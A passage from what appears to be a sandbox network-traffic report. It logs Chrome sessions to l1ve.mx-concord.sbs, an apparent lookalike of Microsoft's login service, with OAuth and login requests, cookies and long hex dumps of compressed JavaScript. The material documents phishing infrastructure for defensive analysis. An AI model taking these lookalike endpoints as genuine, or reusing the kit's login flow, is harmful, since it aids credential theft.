be 93 b6 1d fb d7 55 0c a7 32 a1 Data Ascii: N3~Q'P'UQyH,wEl:Fq{C!d0UK9] gqME~8>qA./HqOOrr}oC&=rd2]<B }1w9T,v:i=t>k%CoNa$-u,$7KbOzdRMU2
2024-08-28 20:21:35 UTC	16384	IN	Data Raw: bb 7b c9 a1 e4 b7 02 28 7b 9c d7 fd 96 17 28 cb cf 55 a0 9e e2 71 5f e9 e5 54 b2 02 47 0a 5d bd 17 e9 be e6 c0 46 a2 02 ed 65 da 1c 8a d8 e5 be e1 d0 f9 f4 ac 00 7c a1 a4 1a e7 40 1a 1b e2 be 74 1b 62 95 cb 00 78 0d 9c b6 d7 de e5 71 1b b8 de 85 e4 ca ba fa 63 e7 e1 01 fe 71 ef d7 22 14 fa db 0e fb d4 61 7f 43 af 5a db f3 a9 40 12 5b 5e 4a 85 54 db ab aa da d3 31 6c 51 78 6c 89 7c 93 b8 06 00 2b 28 7b 61 75 cd 7e 82 ce 6c 7a 68 16 35 12 da ab b4 88 cf d4 1b b7 59 23 da fb b9 e4 6a 95 3d b1 4b 21 c6 cb 5f aa a5 ea f9 53 b5 9f af d6 ec 3d f4 66 e4 b5 78 dc 76 f2 b7 f5 7a a9 17 93 5b 26 ff 24 f1 2a b5 8c 8f aa 21 3b a9 5e 99 90 de 48 41 28 bc c4 d6 ec 03 d4 37 d4 46 fc 8e f4 07 7f eb d4 2c af d9 50 57 54 e2 ca 1f 2e 85 17 e4 58 df 77 38 9b d6 07 72 1a 25 2f Data Ascii: {({(Uq_TG]Fe\|@tbxqcq"aCZ@[^JT1lQxl\|+({au~lzh5Y#j=K!_S=fxvz[&$*!;^HA(7F,PWT.Xw8r%/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49803	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:33 UTC	654	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: l1ve.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l1ve.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA==" Sec-WebSocket-Key: ma4z43WPHP7g1KXWAUK+JA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:35 UTC	296	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ppserver: PPV: 30 H: BL02EPF0001DA4E V: 0 access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49797	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:35 UTC	1707	OUT	POST /GetExperimentAssignments.srf HTTP/1.1 Host: l1ve.mx-concord.sbs Connection: keep-alive Content-Length: 208 correlationId: dddaecca72d14acb80fd0bde3831295e sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: dddaecca72d14acb80fd0bde3831295e Content-type: application/json; charset=utf-8 hpgid: 33 Accept: application/json hpgact: 0 sec-ch-ua-platform: "Windows" Origin: https://l1ve.mx-concord.sbs Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://l1ve.mx-concord.sbs/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2fportal.mx-concord.sbs%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAROvbl192LRaa-Gv9z3LAw142YxcsbnZJaBVa5iVCZsnP4FRsYXjIy3mAT9i9I9U8KL3VJTUosSSzLz8y6wCLxi4TFgtuLg4BJgkGBQYPjBwriIFWir1i31y3k50h7NQV9Sk7O9GU6x6vsFOgYHeRUmhTv5OmdElgdkBZkUeZubVJimllp4eiZ5OBUYpBl4ZlU6FufbmlsZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu7xtwbt3nze-83jFr1MQUhjoE-SW7FcUUZ5ZVRleaRBl5FuZ4ZORamocnJEZYuCbXZVnaBhhEuxru0GA4YEAAwA1&estsfed=1&uaid=dddaecca72d14acb80fd0bde3831295e&fci=https%3a%2f%2fc188f54d-b128254c.mx-concord.sbs&username=bob%40gmail.com&login_hint=bob%40gmail.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:35 UTC	208	OUT	Data Raw: 7b 22 63 6c 69 65 6e 74 45 78 70 65 72 69 6d 65 6e 74 73 22 3a 5b 7b 22 70 61 72 61 6c 6c 61 78 22 3a 22 65 6e 61 62 6c 65 69 64 65 6e 74 69 74 79 62 61 6e 6e 65 72 72 65 73 70 6f 6e 73 69 76 65 65 78 70 65 72 69 6d 65 6e 74 22 2c 22 63 6f 6e 74 72 6f 6c 22 3a 22 65 6e 61 62 6c 65 69 64 65 6e 74 69 74 79 62 61 6e 6e 65 72 72 65 73 70 6f 6e 73 69 76 65 65 78 70 65 72 69 6d 65 6e 74 5f 63 6f 6e 74 72 6f 6c 22 2c 22 74 72 65 61 74 6d 65 6e 74 73 22 3a 5b 22 65 6e 61 62 6c 65 69 64 65 6e 74 69 74 79 62 61 6e 6e 65 72 72 65 73 70 6f 6e 73 69 76 65 65 78 70 65 72 69 6d 65 6e 74 5f 74 72 65 61 74 6d 65 6e 74 22 5d 7d 5d 7d Data Ascii: {"clientExperiments":[{"parallax":"enableidentitybannerresponsiveexperiment","control":"enableidentitybannerresponsiveexperiment_control","treatments":["enableidentitybannerresponsiveexperiment_treatment"]}]}
2024-08-28 20:21:36 UTC	507	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:36 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" referrer-policy: strict-origin-when-cross-origin x-ms-route-info: C535_BL2 x-ms-request-id: 5962863b-40de-4cd1-8904-258712d19783 ppserver: PPV: 30 H: BL02EPF0001D8D6 V: 0 access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:36 UTC	84	IN	Data Raw: 34 65 0d 0a 7b 22 46 6c 69 67 68 74 41 73 73 69 67 6e 6d 65 6e 74 73 22 3a 5b 20 22 65 6e 61 62 6c 65 69 64 65 6e 74 69 74 79 62 61 6e 6e 65 72 72 65 73 70 6f 6e 73 69 76 65 65 78 70 65 72 69 6d 65 6e 74 5f 74 72 65 61 74 6d 65 6e 74 22 20 5d 7d 0d 0a Data Ascii: 4e{"FlightAssignments":[ "enableidentitybannerresponsiveexperiment_treatment" ]}
2024-08-28 20:21:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49804	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:35 UTC	522	OUT	GET /shared/5/js/login_en_uUOwd3YLall49Tk7iIh1aA2.js HTTP/1.1 Host: 995a2a74-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:38 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:38 GMT Content-Type: application/x-javascript Content-Length: 234809 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 523077 cache-control: public, max-age=31536000 etag: 0x8DCC0BA0FA71D3E last-modified: Tue, 20 Aug 2024 01:47:33 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fe977446-f01e-00e5-66c5-f49b6e000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:38 UTC	13689	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dc bd f9 77 db 38 b3 20 fa fb fb 2b 6c bd 1c 1f f2 1a 56 24 3b 2b 15 b6 26 f1 d2 49 77 b6 ce d2 49 da 9f c7 87 96 60 8b 89 44 2a 24 65 c7 b1 f5 bf bf 5a b0 92 94 93 7c 77 ee cc 7d 93 73 62 81 20 08 14 0a 05 a0 aa 50 55 b8 fd 1f eb 6b 07 79 b1 36 4d 47 32 2b e5 5a 9a 9d e6 c5 2c a9 d2 3c 5b 9b 4f 65 02 59 a5 94 6b d3 fc 2c cd 8e 65 d6 fd 5c 76 9f 3f db dd 7f f9 76 bf 5b 7d ab d6 fe e3 f6 ff b3 7e ba c8 46 58 3e 08 af ce 93 62 4d 8a 4a 64 a2 10 b9 48 e3 ab bb fd 9d bb 91 29 40 af c2 ab ce 02 6b ad 8a 74 54 75 06 f8 49 11 67 c1 f6 c3 bb fd 50 e4 f1 d5 68 92 4e c7 bb 79 56 c9 6f d5 bb cb b9 2c a3 f5 9e 18 d9 e7 da 23 bd 1e cb d3 64 31 ad 5e 17 f9 9c 9f d3 72 3e 4d 2e 5f 26 33 2a 7e 26 ab bd 5a 09 ca 2a d2 73 39 7e 5b 25 95 3c 28 Data Ascii: w8 +lV$;+&IwI`D$eZ\|w}sb PUky6MG2+Z,<[OeYk,e\v?v[}~FX>bMJdH)@ktTuIgPhNyVo,#d1^r>M._&3~&Z*s9~[%<(
2024-08-28 20:21:39 UTC	16384	IN	Data Raw: 59 b0 49 21 8e d3 92 d6 41 c2 e6 db c5 1c af 61 83 39 f9 ed 27 99 33 58 1f 5e e2 8a 19 29 69 13 f5 d2 76 95 c9 57 ad 32 16 fb d8 df d4 3d 85 4a f1 d4 08 ed d9 62 7d df 5f c8 3a ec d7 85 f1 36 80 85 2d 27 e2 fb 56 84 49 bc cf 2f ae 92 f8 4b c1 d6 96 f1 6e 41 8c 57 e0 82 e3 dd a2 93 de 7c 8b 4e de b8 db 42 81 82 11 5e e2 c7 ec 40 91 d0 43 c2 91 1c f5 90 c1 64 48 d8 c5 62 ba b1 31 85 77 39 1e 5f b8 d4 08 33 26 f7 c3 4e 87 1b 1b 6c 8b c2 d7 6c 00 9c 36 b6 bf be f2 70 5f 06 b9 d0 f9 22 57 31 b8 61 13 fa ec e9 0a ce 53 79 c1 2a 17 e6 cd b5 de e0 19 0c fc 63 e0 05 3a bc 7d 77 c4 2e 37 17 75 d4 d6 de 11 e8 20 1a 75 d4 ae df 11 6f d1 6b 37 ea 90 f3 2e 66 38 8b e7 73 67 5f 69 a8 17 cd e6 0f 8b 29 50 5e 7a 9a aa 5e 0e 9b 59 50 4d b4 8e 27 dd cf 0a 8c 14 85 96 54 18 Data Ascii: YI!Aa9'3X^)ivW2=Jb}_:6-'VI/KnAW\|NB^@CdHb1w9_3&Nll6p_"W1aSy*c:}w.7u uok7.f8sg_i)P^z^YPM'T
2024-08-28 20:21:39 UTC	16384	IN	Data Raw: 13 f5 3b 6f 8d 74 81 12 cb 9a 59 eb 58 19 9b da 87 d9 6f 1d 5d df 35 b2 97 8c c6 6b d8 a3 80 59 04 e8 94 53 cd e7 43 75 67 3b 28 c2 fe 0b 8c ea 19 f4 ff e2 59 74 a5 f2 9f d4 ee 00 73 38 86 1e 00 93 be 08 a9 34 e9 b6 ba 7c 16 ec 6d 1b 21 4e 32 48 cd 71 e2 98 96 4e 8c 0c 54 39 74 a7 3d 5e a1 b3 cf 00 b1 9f 30 97 f5 62 e9 7b 55 db 82 14 00 80 b5 d9 b7 ec 57 f0 b7 1c 78 de d2 bd 2b 1e 24 85 0a 9a 0b 82 a4 16 bd 4a dd 0d ab 16 16 ee 2b 0d 15 40 6a 2f f4 e1 f8 8d 8f 05 ee 8d 2f 18 2f 5b 1c 3f 81 8b 3a 50 4c b6 ab 1a ec 08 c3 23 d4 eb e8 0c 9f 31 35 39 c3 52 ac b8 94 48 a6 32 22 53 f3 f9 0d 1b 48 d5 fe 7c 48 95 6c f0 2e 1d bd 4b e7 e1 4b 93 96 27 0f 2f 11 74 46 e4 24 75 8f 97 8c 59 74 41 d0 0b ec ab a4 54 95 11 ba 7d 03 cf 55 00 1b a7 1d a6 72 81 f0 f5 4a d1 be Data Ascii: ;otYXo]5kYSCug;(Yts84\|m!N2HqNT9t=^0b{UWx+$J+@j///[?:PL#159RH2"SH\|Hl.KK'/tF$uYtAT}UrJ
2024-08-28 20:21:39 UTC	16384	IN	Data Raw: f3 e3 af 58 f2 6d 1b 14 90 2a ca e0 15 e4 d2 ed a0 9a d8 ab c5 d3 ac e0 1d 87 3b 8a 72 d8 ac 42 a7 95 2a 73 af 25 6a 47 5b 58 09 7e aa f9 87 8e 8c db 27 dd b3 a7 bd 59 ac 68 0a 7e 01 1f 3b f3 00 54 5f 3c df 1a 2c 67 26 48 41 9d b1 94 07 13 78 86 80 97 68 9d 7a 09 d7 6f e2 2c c7 f3 0e 64 40 05 4a 95 f3 39 0c bc 54 3f 01 c5 4c d6 d7 27 bd db dd d1 8c 94 97 5e 11 ce 98 46 7a 20 49 f9 fe 49 ff f4 45 1f 46 02 7f 9f 6f 8d 07 c1 86 87 97 1b 05 fa 45 02 66 80 d5 8f 28 9d 71 11 46 bd 6b e2 03 9f ee 4f 2f e3 7f 3c f5 fe 31 dd f0 9f fa 30 2d 6c fb 22 7c b6 45 41 ae a6 d9 6b 40 20 d7 56 43 fa 3c 77 6c 99 71 f2 15 5b 36 74 41 a8 9b 45 b7 c9 25 87 e6 a0 49 a9 78 79 49 da de f9 1c f0 f1 d2 43 31 dc 5b 8e 48 a5 07 32 9a df ad 48 6f ac cf 89 88 a5 58 c5 89 e0 21 43 78 da Data Ascii: Xm;rBs%jG[X~'Yh~;T_<,g&HAxhzo,d@J9T?L'^Fz IIEFoEf(qFkO/<10-l"\|EAk@ VC<wlq[6tAE%IxyIC1[H2HoX!Cx
2024-08-28 20:21:39 UTC	16384	IN	Data Raw: d8 7c 7c ea 76 75 ca 40 22 5a 56 3a 01 b0 33 f3 cd aa 3b 16 4e 91 72 d5 6b 79 c3 62 c6 71 6c 0d 91 30 08 91 ab c5 73 a9 08 95 65 eb 0c 88 1f a2 7d 44 ce b6 a8 af 10 af 0a 6c c3 ea 02 5f c0 33 af f2 cc 66 9c ca 78 98 03 3d 6f 8d 67 cd c7 aa cc 6f e5 a4 8b 8a d7 79 ee 42 34 ec 93 4b dc 27 97 c6 3e 39 ca aa c5 85 9a f3 26 01 d9 55 a6 24 64 db b9 94 8f 10 1e aa 02 68 fd 64 a1 e0 90 7a 73 90 7d 84 f0 f0 28 33 a5 6b d7 d9 7f 6e 35 fe 82 b7 1a fb d9 7f 9b 5b 0d 31 d4 bf fa ad 86 18 c6 97 30 0a 72 fa f7 a6 5f b7 3f 0f fd 7a fa 51 f4 eb c5 17 a6 5f 4f ff 24 fa f5 e2 0b d3 af aa e1 2d 01 bc e9 55 48 46 f4 b9 ba c3 2d 6a bb 01 55 5a 3e da 5d d1 3f 80 0a f8 4f 6b 63 14 68 4f 9d dc c8 a7 e0 7b 1e a1 a8 81 96 5b 8d 76 4c a2 66 51 2b 06 81 bc 13 c1 ea f4 b8 56 5b 89 84 Data Ascii: \|\|vu@"ZV:3;Nrkybql0se}Dl_3fx=ogoyB4K'>9&U$dhdzs}(3kn5[10r_?zQ_O$-UHF-jUZ>]?OkchO{[vLfQ+V[
2024-08-28 20:21:39 UTC	16384	IN	Data Raw: 8f 21 7b 2b e4 70 e6 c2 b8 47 1e 24 9b ff d6 a7 a9 9c 97 bf 9b 23 d3 0a 4d cf 8e 4c 2f 32 ed d0 b6 52 1c a5 ee ce df f3 71 df 78 29 83 5a 23 1c da b6 e9 66 4e 60 79 81 1f 64 b1 83 c3 88 81 de 90 41 ed 91 1b a5 8e 85 50 10 ba 51 62 fa 41 6c 9b 61 c6 40 3f c8 a0 ce 28 70 fc 00 45 6e 60 07 49 ec d9 9e 13 62 d7 66 a0 0f 64 50 77 14 c6 89 1d b8 9e e5 26 7e e2 26 2e 0a 43 8c 19 e8 5f 32 a8 37 0a 3d cf 4f 12 04 13 ca 9c 38 c0 0e 8e 03 8b 81 be 92 41 fd 51 ea 9a 5e 82 5d 9c 66 30 ea d0 49 a2 c8 e7 18 78 2d 83 06 23 3b 4c fc 20 8c 92 d0 8c bc c8 ce 22 37 4c 7d 06 fa a7 0c 1a 8e 2c 80 4d 2d 2b c0 89 e5 5a 9e 17 fb a1 c7 91 f5 46 06 8d 46 a1 63 a7 b6 15 05 7e e2 a5 5e e4 67 76 82 f9 58 31 92 97 c0 1c 45 9e 1b 39 9e e9 5b c8 8b a1 81 1f b8 98 23 76 a5 c0 5a a3 24 c3 Data Ascii: !{+pG$#ML/2Rqx)Z#fN`ydAPQbAla@?(pEn`IbfdPw&~&.C_27=O8AQ^]f0Ix-#;L "7L},M-+ZFFc~^gvX1E9[#vZ$
2024-08-28 20:21:39 UTC	1783	IN	Data Raw: 68 41 89 e3 d5 1d ba 5e 57 8f 44 a4 22 6a 74 f9 42 1b 7f fd 28 68 fa dc 7e d0 f8 74 48 26 c4 03 14 cb b3 6e 7a dd 53 88 5e a5 d6 ac 36 75 63 95 b7 b7 fa f8 76 0a d2 f7 bc 4f 62 7d 4c 12 6d cc 32 7c 74 54 17 ed 95 f5 aa 63 aa 0d 59 f1 85 6e 34 f6 da d1 d8 9d 83 b1 3b c6 62 6b 87 62 b7 8c c4 59 3b 12 a7 1b 2f 4e 17 5e 1c 3d 5e 9c 36 bc b8 6b 47 d3 3d 98 ae b1 e8 87 d2 36 12 6f ed 48 fc ee a1 f8 5d 63 f1 f5 83 21 c5 c4 f3 58 14 e3 05 5e 2e 41 f2 90 bc 25 92 dd d0 92 13 5b 4d 0d 50 a7 f0 56 c3 4a dc e6 31 89 74 06 07 ec 93 30 09 9d 27 45 4b 80 36 1f 04 eb 5f 79 ac 66 39 45 24 df 4c e9 fc b9 22 08 fb ad fd 9a 5b d8 65 18 ca f7 d1 bb 1f 05 e3 46 62 75 e5 40 23 90 ad 8e bb 05 54 06 69 16 68 33 49 5d 37 ab 1f d2 44 c4 7e 9a 21 8d 88 66 e1 f4 55 3a 70 57 09 cc 3b Data Ascii: hA^WD"jtB(h~tH&nzS^6ucvOb}Lm2\|tTcYn4;bkbY;/N^=^6kG=6oH]c!X^.A%[MPVJ1t0'EK6_yf9E$L"[eFbu@#Tih3I]7D~!fU:pW;
2024-08-28 20:21:39 UTC	16384	IN	Data Raw: 72 12 16 ff 38 db 42 33 2a 1b b7 ad dd dd 5d 34 58 fd b6 9b ff d6 ef f5 6f e2 c9 12 53 d8 09 c0 82 c4 87 9e b6 10 4c 6b 70 13 fd cb 04 19 48 00 77 96 93 3c c1 e0 86 20 22 c1 7e db 9d 18 0b f8 f0 ee e4 c2 bc b8 20 5f 87 ef ee ce 06 25 1f 55 d0 db d6 e0 26 bd 48 b0 fb 70 fc 76 46 07 5a 3d 42 be ac c0 7f 5b de 2c f1 94 ec be 7d 67 9c c0 ec 4f 9a b3 3f 29 67 9f ee 2e de 9e d0 ce 52 56 30 df 9d cc de a6 ef 6e ce 61 b4 09 15 af 5b f3 b7 e6 bb 81 81 77 e7 6f 2d 90 62 94 f7 b2 52 e2 a3 e5 12 88 93 4b 60 56 66 bc fd 7c f1 ae f4 27 12 98 e3 78 37 9d 6d 65 06 06 f3 79 f7 64 b6 35 86 9f f8 cb e8 bd f1 ee 94 e0 ed b7 b1 41 27 b5 3b 36 e0 eb d3 77 bb 6f 01 fc 9d b1 fa 6d 5c 8b 98 a7 3f b6 9a da bf 06 09 7a 77 2c bc 76 6f 54 73 04 62 2b 76 4e 96 f8 10 4f 8b 81 80 84 12 Data Ascii: r8B3*]4XoSLkpHw< "~ _%U&HpvFZ=B[,}gO?)g.RV0na[wo-bRK`Vf\|'x7meyd5A';6wom\?zw,voTsb+vNO
2024-08-28 20:21:39 UTC	16384	IN	Data Raw: 6c 72 7f 9d 01 ad a5 26 11 c0 12 38 98 d8 09 70 ad 14 7f 1c 6a 4b 1d 09 b7 63 d9 0b 2f 79 45 a7 4c 6b a5 51 e7 c3 f5 1d 37 0a a6 88 90 2b d1 b3 d5 89 6a e5 2c da 37 60 75 56 e4 10 b4 a3 c3 17 b0 d0 85 c6 30 48 53 58 c8 bd 80 7e 8e e2 34 24 f6 28 0f 71 af 97 06 59 a3 e6 a2 3f f2 46 dd ed c4 83 f1 30 6a e0 7b 53 98 30 bc 8b e2 24 b8 f4 ef 60 8d c9 e4 17 8d 1c c4 c4 e6 22 63 01 0a 4c 82 5f c7 61 12 a4 a7 f8 4e d8 ee c0 1f a7 01 c9 6b 80 d3 0c 29 c8 1e 83 ee 19 1a 6e 5c 7c 09 06 41 16 47 29 c9 61 8a 10 3e 32 55 5f 55 98 22 f7 9a 20 79 74 0e b1 d3 fa d9 dc 48 8f 89 3d 24 4b 52 e9 f8 11 3d f9 6f 07 68 61 de 85 8f 4e 20 5f 79 a3 4d 85 49 8f 69 f3 d9 35 18 d5 ee 42 1d e6 48 81 00 96 c4 cb af 1c c2 9b 06 0e 94 05 da a8 e9 fe e9 81 ed 34 39 eb a2 4e 4e 80 03 d8 64 Data Ascii: lr&8pjKc/yELkQ7+j,7`uV0HSX~4$(qY?F0j{S0$`"cL_aNk)n\\|AG)a>2U_U" ytH=$KR=ohaN _yMIi5BH49NNd
2024-08-28 20:21:39 UTC	16384	IN	Data Raw: 7c e2 d3 82 70 72 0a 47 46 71 1b 0e a9 22 d1 77 67 d2 04 44 a4 d2 2d f3 54 d0 df c4 42 31 b3 10 9d bd a6 77 f6 0c 8b 02 f1 0e c1 ad 87 2f 87 66 f3 99 3e c9 1e 6e 93 ee 88 f4 4f c9 f2 7a 06 83 61 18 6c 6c 88 37 fe 2f 28 31 f2 b1 04 59 55 60 6f c2 a7 58 dd 15 ab b7 b6 f9 ab 13 0d f3 20 2e 68 27 b9 fa f4 5a cd b8 a6 46 59 d3 3e 5b b3 d6 23 ca f3 50 17 7e 51 10 8c 9c e2 9b 82 38 95 6f 3e a4 e9 89 f1 8f 6c 41 70 6c f3 1d d4 e3 e8 96 79 f5 45 be 42 a5 f1 ab e5 b5 46 e5 a0 39 4d 69 46 67 f4 ff ad 4e f8 33 aa 13 7e fc d7 51 27 fc f8 d7 50 27 fc f8 55 d4 09 ed a7 a9 81 17 51 92 a2 da 97 0c dd 79 48 dc eb e5 e4 2c 1a 91 77 45 6c e0 3a 14 46 e4 71 9d c7 d3 c8 a1 a4 1f 7b 43 21 e1 64 99 f5 87 30 02 ab 55 bf 4b b9 39 97 a6 5d 20 67 15 9b 71 d1 d2 4d 84 45 7e 38 8e b2 Data Ascii: \|prGFq"wgD-TB1w/f>nOzall7/(1YU`oX .h'ZFY>[#P~Q8o>lAplyEBF9MiFgN3~Q'P'UQyH,wEl:Fq{C!d0UK9] gqME~8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	49805	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:35 UTC	626	OUT	GET /shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js HTTP/1.1 Host: 995a2a74-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://l1ve.mx-concord.sbs sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://l1ve.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:21:37 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:37 GMT Content-Type: application/x-javascript Content-Length: 32827 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 1109882 cache-control: public, max-age=31536000 etag: 0x8DCB8B8BCF38323 last-modified: Fri, 09 Aug 2024 21:17:56 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 3290ada4-401e-00eb-496f-eff995000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:37 UTC	15639	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dc bd 69 77 db 38 b3 3f f8 7e 3e 85 c4 e9 f1 25 db b0 22 39 6b 4b 61 74 12 c7 e9 38 9b dd b1 b3 74 bb 7d 7d 68 09 b2 d9 96 49 35 49 79 89 a5 ef 3e f5 2b 2c 04 29 3a c9 73 fe 77 e6 c5 ed d3 b1 88 85 20 50 28 14 aa 0a 55 85 7b bf b6 5b af d2 ac 35 8d 47 32 c9 65 2b 4e 26 69 76 11 15 71 9a b4 66 53 19 51 56 2e 65 2b 4d e4 38 df 88 92 68 7a 53 c4 a3 7c e3 9f fc b8 fb f8 f1 66 ef f1 e3 07 dd d1 93 87 f7 4f 1e 8e 1f 4c e4 93 ce 3f 79 e7 dd ce d6 f6 87 fd ed 4e 71 5d b4 7e bd f7 7f 79 73 34 51 64 f1 a8 f0 06 7e 2e a7 93 ce 95 3c 99 45 a3 f3 ad b3 79 72 7e 7c 91 c7 63 99 14 71 71 73 9c c7 f9 9c d2 51 f8 53 b5 16 8b c3 a3 a0 33 9b e7 67 fe e1 e1 83 c7 bd 23 71 bb b9 f9 f8 49 7f 32 4f 46 e8 be 9f 08 29 8a e0 b6 e8 64 be 0c 44 d1 19 fb Data Ascii: iw8?~>%"9kKat8t}}hI5Iy>+,):sw P(U{[5G2e+N&ivqfSQV.e+M8hzS\|fOL?yNq]~ys4Qd~.<Eyr~\|cqqsQS3g#qI2OF)dD
2024-08-28 20:21:37 UTC	16384	IN	Data Raw: 23 0d 6b 5c 14 6d 03 e9 6c 3e 25 02 be 3b 83 d9 2d 11 cd fd 9b 9c e4 87 9d 64 92 1a 38 f3 86 57 84 26 9c 3e 73 a0 36 2a 0a 4c dd 9c 84 e7 c1 fc b4 cc 41 c0 d2 4a 15 95 a1 ae cf c8 0c f7 e3 f6 aa 7a a9 9a 4c dd 4b d5 cc 2c c2 19 95 27 ad c3 0c ac 02 34 25 6c a8 8d a2 93 aa bb 9b 3b 79 79 35 89 06 0d e5 55 ea b9 33 9a 55 79 2d 12 23 95 ab 71 4a 72 de 25 62 ed a5 b4 e9 a6 10 8e 13 de ea d5 2f 9a 4f 55 8c 92 b8 43 b8 55 e0 0e 4d 8e 1b ab de 76 32 49 62 8c 88 30 da ab e9 9c fb e8 ca b3 7b 75 5a 4d fc 90 b2 ac 4d 7f cc 9d 74 ef e0 4c b4 0d 5d c7 5c 4f af 4f 71 76 69 2c b8 78 77 00 4e e5 df 30 c3 15 40 38 ab 44 c0 a8 76 cf 15 28 b4 a1 d2 99 f2 50 51 1c aa 73 59 0c 42 76 69 26 b4 2e a5 96 ce d0 da 1c 8a 3b c0 0e 05 9e d7 e7 28 20 08 ed 96 e2 ba a6 34 18 28 fb 91 Data Ascii: #k\ml>%;-d8W&>s6*LAJzLK,'4%l;yy5U3Uy-#qJr%b/OUCUMv2Ib0{uZMMtL]\OOqvi,xwN0@8Dv(PQsYBvi&.;( 4(
